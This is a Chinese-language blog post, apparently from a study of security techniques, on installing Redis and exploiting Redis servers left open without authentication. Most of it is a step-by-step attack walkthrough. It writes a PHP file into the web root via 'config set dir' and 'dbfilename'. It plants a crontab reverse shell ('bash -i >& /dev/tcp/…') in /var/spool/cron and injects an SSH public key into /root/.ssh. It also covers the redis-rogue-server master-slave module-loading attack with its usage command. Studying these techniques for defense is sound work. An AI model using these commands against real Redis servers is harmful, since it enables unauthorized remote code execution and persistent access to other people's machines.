redis的安装以及漏洞学习

redis的安装

安装 Redis

wget http://download.redis.io/releases/redis-4.0.8.tar.gz

tar –xvf redis-4.0.8.tar.gz

cd redis-4.0.8

make

修改配置文件 redis.conf

  • cp redis.conf ./src/redis.conf
  • bind 127.0.0.1 前面加上 # 号注释掉
  • protected-mode 设为 no
  • 启动 redis-server ./src/redis-server redis.conf

redis的基本命令

查看信息:info
删除所有数据库内容:flushall
刷新数据库:flushdb
看所有键:KEYS *,使用select num可以查看键值数据。
设置变量:set test “who am i”
config set dir dirpath 设置路径等配置
config get dirfilename 获取路径及数据配置信息
save 保存
get 变量,查看变量名称

https://www.cnblogs.com/kongzhongqijing/p/6867960.html

redis的一些漏洞

CVE-2016-8339

Redis 3.2.x < 3.2.4 版本存在缓冲区溢出漏洞,可导致任意代码执行

CVE-2015-8080

Redis 2.8.x 在 2.8.24 以前和 3.0.x 在 3.0.6 以前版本

CVE-2015-4335

Redis 2.8.1 之前版本和 3.0.2 之前 3.x 版本

CVE-2013-7458

读取“.rediscli_history”配置文件信息。

redis未授权

redis-cli -h 192.168.1.1 -p 6379

redis写入文件

条件:目标服务器开着web服务,且redis在web目录下有写入权限。master下执行

将数据库路径修改为网站的路径,然后将数据库名改为php文件。

master:config set dir /var/www/html/          
master:config set dbfilename shell.php          
master:set payload "<?php phpinfo();?>"         
master:save                                     

redis计划任务反弹shell

首先创建一个每隔一分钟就执行一次的反弹shell的crontab任务
再把文件变更到 /var/spool/cron/(不同版本Linux系统这个文件位置不一样)目录下
因为这个目录下的文件名为root的文件是被系统默认定时执行的,也就是root 用户 crontab默认存放执行文件的地方
最后再把文件名改成root,系统就会默认执行root文件中的定时任务(也就是反弹shell)

root@kali:~# redis-cli -h 192.168.1.1  // 开始连接靶机

192.168.1.1:6379> set x "* * * * * bash -i >&  /dev/tcp/192.168.1.1/7999  0>&1"                   //创建一个任务计划  这个* * * * * 的意思就是,每隔一分钟就会默认执行一下后面的语句
OK
192.168.1.1:6379> config set dir /var/spool/cron/             
OK
192.168.1.1:6379> config set dir /var/spool/cron/                
192.168.1.1:6379> config set dbfilename root               
OK
192.168.1.1:6379> save                        
OK

/var/spool/cron/在kali和ubantu中,其文件位置为/var/spool/cron/crontabs/root,在centos系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建

写ssh公钥登录

redis服务使用root登录、靶机开机ssh密钥登录

ssh-keygen -t rsa

私钥id_rsa,公钥id_rsa.pub

ssh-copy-id会将公钥写到./ssh/authorized_key中

ssh-copy-id root@192.168.1.1

redis写入公钥

config set dir /root/.ssh/

config set dbfilename authorized_key

set miyao "公钥"

save

ssh密钥连接

ssh -i id_rsa root@192.168.1.1

redis主从

redis主机成为master,redis从机成为slave,主机可读可写,从机只能读,主机更新数据,从机会从主机获取更新的数据。

条件:能够访问远程redis端口,能够设置主从模式。

脚本地址:https://github.com/n0b0dyCN/redis-rogue-server

使用方式:python3 redis-rogue-server.py --rhost rhost --lhost lhost

首先要创建一个恶意redis服务器来作为master,该master服务器要能够回应连接他的slave 服务的响应

有了恶意服务器之后,先远程连接目标服务器,通过slaveof将其设置为恶意服务器的slaver。然后将dbfilename设置为exp.so

执行slaveof命令后,主从之间要进行握手,在slaver发送PSYNC之后master回应FULLRESYNC及exp内容

master发送完exp内容后,由于主从之间采用FULLRESYNC模式,所以exp内容也会存储在slaver的数据库文件,即exp.so中

之后在控制slaver加载模块执行即可。当然,加载完模块之后脚本也会解除主从模式、还原数据库文件。

以上提到的这些漏洞,都是基于未授权访问。

写入shell、反弹shell、写入公钥几种漏洞都是利用redis数据存储这一点,在拥有高级权限和在某些环境配合下,将payload直接写入某个路径,从而达到我们的目的。但实际上redis用户的权限都不会太高,不太可能有人会直接以root权限运行redis或给redis以root权限。

最后一种方式利用了主从模式的完整全同步及模块加载,配合搭建的恶意服务器可以将exp同步到目标服务器上getshell。

数据库路径可更改,数据库名字可更改。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

HoAd's blog

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值